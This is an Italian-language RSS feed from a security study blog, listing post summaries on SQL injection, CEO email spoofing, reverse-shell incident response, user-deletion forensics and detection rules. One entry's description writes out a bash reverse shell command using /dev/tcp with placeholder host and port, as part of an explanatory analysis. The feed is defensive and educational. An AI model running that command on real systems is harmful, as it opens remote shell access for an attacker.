<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Dfir on u-random</title><link>https://u-random.dev/tags/dfir/</link><description>Recent content in Dfir on u-random</description><generator>Hugo -- gohugo.io</generator><language>it-it</language><lastBuildDate>Tue, 19 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://u-random.dev/tags/dfir/index.xml" rel="self" type="application/rss+xml"/><item><title>Il Campo che Parlava Troppo</title><link>https://u-random.dev/blog/il-campo-che-parlava-troppo/</link><pubDate>Tue, 19 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/il-campo-che-parlava-troppo/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;SQL Injection avviene quando l'input utente viene concatenato direttamente nella query - il DB esegue codice che non dovrebbe&lt;/li&gt;
&lt;li&gt;Un apostrofo nel campo username è spesso sufficiente per rilevare la vulnerabilità&lt;/li&gt;
&lt;li&gt;La difesa corretta è la parameterized query - non l'input validation da sola&lt;/li&gt;
&lt;li&gt;Il WAF può rallentare l'attacco ma non sostituisce il fix nel codice&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;curl -s -X POST url -d &amp;quot;username=test&amp;amp;password=test&amp;quot;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/tshark/" &gt;tshark&lt;/a&gt; -r capture.pcap -Y &amp;quot;http.request.method == POST&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Mi hanno dato tre ore e un URL. Un'applicazione web interna - gestionale ordini, usato dal reparto commerciale. &amp;quot;Testala. Dimmi cosa non va.&amp;quot;&lt;/p&gt;</description></item><item><title>Il CEO Non Ha Scritto Quella Email</title><link>https://u-random.dev/blog/il-ceo-non-ha-scritto-quella-email/</link><pubDate>Tue, 19 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/il-ceo-non-ha-scritto-quella-email/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;BEC (Business Email Compromise) non richiede malware - basta falsificare il campo &lt;code&gt;From:&lt;/code&gt; in SMTP&lt;/li&gt;
&lt;li&gt;SPF, DKIM e DMARC sono i tre record DNS che rendono verificabile l'identità del mittente&lt;/li&gt;
&lt;li&gt;Un dominio senza questi tre record è impersonabile in cinque minuti da chiunque&lt;/li&gt;
&lt;li&gt;Leggere gli header &lt;code&gt;Received:&lt;/code&gt; di un'email dal basso verso l'alto rivela il percorso reale del messaggio&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/dig/" &gt;dig&lt;/a&gt; TXT dominio.com&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/dig/" &gt;dig&lt;/a&gt; TXT _dmarc.dominio.com&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;Arianna gestisce i pagamenti. Quella mattina ha ricevuto un'email dal CEO: cambio fornitore urgente, nuovo IBAN, bonifico entro fine giornata. 47.000 euro. Il tono era quello di sempre - formale, diretto, niente spiegazioni superflue.&lt;/p&gt;</description></item><item><title>Ruoli Aziendali - C-Suite e figure Security</title><link>https://u-random.dev/concetti/ruoli-aziendali-security/</link><pubDate>Mon, 11 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ruoli-aziendali-security/</guid><description>Mappa delle figure dirigenziali e dei ruoli security in un'organizzazione. Utile per domande di governance e GRC sul Security+.</description></item><item><title>Bash Reverse Shell - Anatomia del comando</title><link>https://u-random.dev/concetti/bash-reverse-shell/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/bash-reverse-shell/</guid><description>Analisi del comando bash -i &amp;gt;&amp;amp; /dev/tcp/IP/PORT 0&amp;gt;&amp;amp;1 - come funzionano i redirect di file descriptor e il pseudo-device /dev/tcp.</description></item><item><title>Operational Plans - DRP, IRP, BCP, Change Management</title><link>https://u-random.dev/concetti/operational-plans/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/operational-plans/</guid><description>Distinzione tra i piani operativi: Disaster Recovery Plan, Incident Response Plan, Business Continuity Plan e Change Management. Termini D4/D5 Security+ frequenti.</description></item><item><title>Security Controls - Tipi e Funzioni</title><link>https://u-random.dev/concetti/security-controls-types/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/security-controls-types/</guid><description>Classificazione dei controlli di sicurezza per tipo (Technical/Administrative/Physical) e per funzione (Preventive/Detective/Corrective/Compensating/Deterrent/Directive).</description></item><item><title>Frame, Pacchetto, Segmento - OSI e Stream</title><link>https://u-random.dev/concetti/frame-packet-segment/</link><pubDate>Thu, 07 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/frame-packet-segment/</guid><description>Differenza tra frame (L2), pacchetto IP (L3) e segmento TCP (L4). Matrioska OSI, NIC, stream indipendenti per livello. Base per leggere correttamente tshark e Wireshark.</description></item><item><title>Incident Response - Modiga cap 9 - Analisi e risposta agli incidenti</title><link>https://u-random.dev/concetti/incident-response-modiga-cap9/</link><pubDate>Wed, 06 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/incident-response-modiga-cap9/</guid><description>Gestione degli incidenti secondo Modiga cap 9: fasi IH, detection, analisi, prioritizzazione, SIEM tuning, containment. Nota in corso - p. 509.</description></item><item><title>SOC - Struttura e Organizzazione</title><link>https://u-random.dev/concetti/soc-structure/</link><pubDate>Mon, 04 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/soc-structure/</guid><description>Struttura operativa di un SOC: tier, ruoli specializzati, modelli di deployment (interno/esterno/ibrido), SLA, KPI, differenza SOC vs NOC.</description></item><item><title>whois</title><link>https://u-random.dev/comandi/whois/</link><pubDate>Sun, 03 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/whois/</guid><description>Interroga i database WHOIS per ottenere informazioni su un IP o dominio: ASN, organizzazione, paese, range di indirizzi, abuse contact.</description></item><item><title>Wazuh + auditd: rilevare una reverse shell con regola custom</title><link>https://u-random.dev/concetti/wazuh-auditd-custom-rule/</link><pubDate>Sat, 02 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/wazuh-auditd-custom-rule/</guid><description>Come integrare auditd con Wazuh (Docker) per rilevare bash /dev/tcp: architettura agent/manager, permessi, formato log, regola XML custom.</description></item><item><title>DNS e HTTP in una LAN con switch</title><link>https://u-random.dev/concetti/dns-http-lan-packet-tracer/</link><pubDate>Fri, 01 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dns-http-lan-packet-tracer/</guid><description>Come funziona la risoluzione DNS e la richiesta HTTP in una LAN flat con switch, senza router né gateway.</description></item><item><title>DNS Tunneling</title><link>https://u-random.dev/concetti/dns-tunneling/</link><pubDate>Wed, 29 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dns-tunneling/</guid><description>Tecnica C2 che usa il protocollo DNS per trasportare comandi e dati esfiltrati, bypassando i firewall perche' UDP 53 e' quasi sempre permesso.</description></item><item><title>Incident Response - Framework e Lifecycle</title><link>https://u-random.dev/concetti/incident-response-lifecycle/</link><pubDate>Tue, 28 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/incident-response-lifecycle/</guid><description>Definizione di IR, confronto framework (NIST, PICERL, MITRE ATT&amp;amp;CK, Time Based Security) e dettaglio operativo delle fasi PICERL con checklist.</description></item><item><title>HTTP in Wireshark - TCP Segmentation e Packet Analysis</title><link>https://u-random.dev/concetti/http-wireshark/</link><pubDate>Fri, 17 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/http-wireshark/</guid><description>Come appare una sessione HTTP in Wireshark: TCP segmentation, MSS, Nagle's algorithm, gzip. Prospettiva packet analysis.</description></item><item><title>arpspoof - ARP cache poisoning tool</title><link>https://u-random.dev/comandi/arpspoof/</link><pubDate>Thu, 09 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/arpspoof/</guid><description>Tool per ARP poisoning — manda pacchetti ARP falsi in loop per avvelenare la cache ARP di un target. Usato per simulare attacchi MITM in laboratorio e capire come rilevarli.</description></item><item><title>nmap - Network Mapper</title><link>https://u-random.dev/comandi/nmap/</link><pubDate>Fri, 03 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/nmap/</guid><description>Mappa la rete mandando pacchetti TCP/UDP/ICMP verso host e porte target e analizza le risposte. Da un singolo SYN capisce se una porta e' aperta, chiusa o filtrata. Strumento standard per asset discovery, port scanning e audit di sicurezza.</description></item><item><title>Il Processo che Non Dorme Mai</title><link>https://u-random.dev/blog/il-processo-che-non-dorme-mai/</link><pubDate>Wed, 01 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/il-processo-che-non-dorme-mai/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;Alert alle 2:47: processo &lt;code&gt;bash&lt;/code&gt; con connessione aperta verso IP esterno su porta 4444 → reverse shell attiva&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ss -tnp | grep ESTABLISHED&lt;/code&gt; identifica il processo e il PID in tempo reale&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tcpdump -i eth0 -n -A&lt;/code&gt; legge il payload in chiaro: comandi dell'attaccante visibili direttamente&lt;/li&gt;
&lt;li&gt;Prima di bloccare: raccogliere &lt;code&gt;history&lt;/code&gt;, &lt;code&gt;auth.log&lt;/code&gt;, &lt;code&gt;find -mmin -120&lt;/code&gt; - agire troppo presto distrugge le prove&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/ss/" &gt;ss&lt;/a&gt; -tnp&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/tcpdump/" &gt;tcpdump&lt;/a&gt; -i eth0 -n -A host 185.220.101.34&lt;/li&gt;
&lt;li&gt;ip a&lt;/li&gt;
&lt;li&gt;history&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/grep/" &gt;grep&lt;/a&gt; &amp;quot;185.220.101.34&amp;quot; /var/log/auth.log&lt;/li&gt;
&lt;li&gt;find / -mmin -120 -type f 2&amp;gt;/dev/null&lt;/li&gt;
&lt;li&gt;kill -9 [PID]&lt;/li&gt;
&lt;li&gt;ufw deny from [IP]&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;&lt;figure&gt;&lt;img
 class="my-0 rounded-md"
 loading="lazy"
 decoding="async"
 fetchpriority="auto"
 alt="Anatomia di una Reverse Shell: Timeline di Reazione"
 width="1536"
 height="2752"
 src="https://u-random.dev/assets/il-processo-che-non-dorme-mai_hu_bfbec6d0b0bbc58f.webp"
 srcset="https://u-random.dev/assets/il-processo-che-non-dorme-mai_hu_bfbec6d0b0bbc58f.webp 800w, https://u-random.dev/assets/il-processo-che-non-dorme-mai_hu_687b5c6ccfaece7e.webp 1280w"
 sizes="(min-width: 768px) 50vw, 65vw"
 data-zoom-src="https://u-random.dev/assets/il-processo-che-non-dorme-mai.webp"&gt;&lt;/figure&gt;
&lt;/p&gt;</description></item><item><title>Git Objects - struttura interna di git</title><link>https://u-random.dev/concetti/git-objects/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/git-objects/</guid><description>Git memorizza tutto come oggetti immutabili nel database .git/objects. Ogni commit, system, albero e tag e' un oggetto con un hash SHA-1. Capire questa struttura e' fondamentale per il secret scanning - i segreti sopravvivono nella storia anche dopo la rimozione.</description></item><item><title>Secret Scanning - trovare segreti esposti</title><link>https://u-random.dev/concetti/secret-scanning/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/secret-scanning/</guid><description>Il secret scanning e' la pratica di cercare credenziali, chiavi API e segreti esposti per errore in repository git, file di configurazione e log. E' uno dei vettori di compromissione piu' comuni e sottovalutati.</description></item><item><title>Compressione e Archivi - gzip, bzip2, zip, tar</title><link>https://u-random.dev/comandi/compressione-arichivazione/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/compressione-arichivazione/</guid><description>Guida unificata a gzip, bzip2, zip e tar su Linux. Copre compressione singoli file, archiviazione multi-file, formato tar.gz, e uso forense per analisi di archivi sospetti.</description></item><item><title>Cancellato. Ma non abbastanza.</title><link>https://u-random.dev/blog/utente-cancellato-non-abbastanza/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/utente-cancellato-non-abbastanza/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;testuser&lt;/code&gt; compare all'01:14, tenta l'escalation, poi viene cancellato alle 04:47&lt;/li&gt;
&lt;li&gt;&lt;code&gt;auth.log&lt;/code&gt; registra ogni evento: creazione, tre sudo falliti, disconnessione&lt;/li&gt;
&lt;li&gt;&lt;code&gt;find / -uid 1001 2&amp;gt;/dev/null&lt;/code&gt; trova i file rimasti anche dopo &lt;code&gt;userdel&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Cancellare un utente non cancella la sua storia - cancella solo il nome&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/grep/" &gt;grep&lt;/a&gt; -E &amp;quot;useradd|userdel&amp;quot; /var/log/auth.log&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/grep/" &gt;grep&lt;/a&gt; &amp;quot;testuser&amp;quot; /var/log/auth.log&lt;/li&gt;
&lt;li&gt;last testuser&lt;/li&gt;
&lt;li&gt;find / -uid 1001 2&amp;gt;/dev/null&lt;/li&gt;
&lt;li&gt;cat /home/testuser/.bash_history&lt;/li&gt;
&lt;li&gt;journalctl --since &amp;quot;2026-03-25 04:40&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;&lt;figure&gt;&lt;img
 class="my-0 rounded-md"
 loading="lazy"
 decoding="async"
 fetchpriority="auto"
 alt="Utente cancellato - post-mortem auth.log"
 width="2752"
 height="1536"
 src="https://u-random.dev/assets/utente-cancellato-non-abbastanza_hu_eda3d265251eef1c.webp"
 srcset="https://u-random.dev/assets/utente-cancellato-non-abbastanza_hu_eda3d265251eef1c.webp 800w, https://u-random.dev/assets/utente-cancellato-non-abbastanza_hu_33e95f69c2ad1a10.webp 1280w"
 sizes="(min-width: 768px) 50vw, 65vw"
 data-zoom-src="https://u-random.dev/assets/utente-cancellato-non-abbastanza.webp"&gt;&lt;/figure&gt;
&lt;/p&gt;</description></item><item><title>CIA Triad</title><link>https://u-random.dev/concetti/cia-triad/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/cia-triad/</guid><description>La triade CIA definisce i tre obiettivi fondamentali della sicurezza informatica: Confidentiality, Integrity, Availability. Ogni attacco viola almeno uno di questi tre pilastri.</description></item><item><title>diff - confronta differenze tra due file</title><link>https://u-random.dev/comandi/diff/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/diff/</guid><description>Confronta due file riga per riga e mostra le differenze. Fondamentale per rilevare modifiche non autorizzate a file di configurazione o log.</description></item><item><title>File</title><link>https://u-random.dev/comandi/file/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/file/</guid><description>Determina il tipo di contenuto di un file esaminando la sua struttura interna (Magic Bytes / Magic Numbers), ignorando completamente l'estensione. È uno strumento critico per distinguere file di testo, binari, script o malware mascherati.</description></item><item><title>strings - estrae stringhe leggibili da file binari</title><link>https://u-random.dev/comandi/strings/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/strings/</guid><description>Analizza file binari o flussi di dati per estrarre e stampare sequenze di caratteri ASCII (testo leggibile) lunghe almeno 4 caratteri (default).</description></item><item><title>Xxd</title><link>https://u-random.dev/comandi/xxd/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/xxd/</guid><description>Utility che genera hexdump o effettua l'operazione inversa (Hex-to-Binary). Il nome sta per hex dump.</description></item></channel></rss>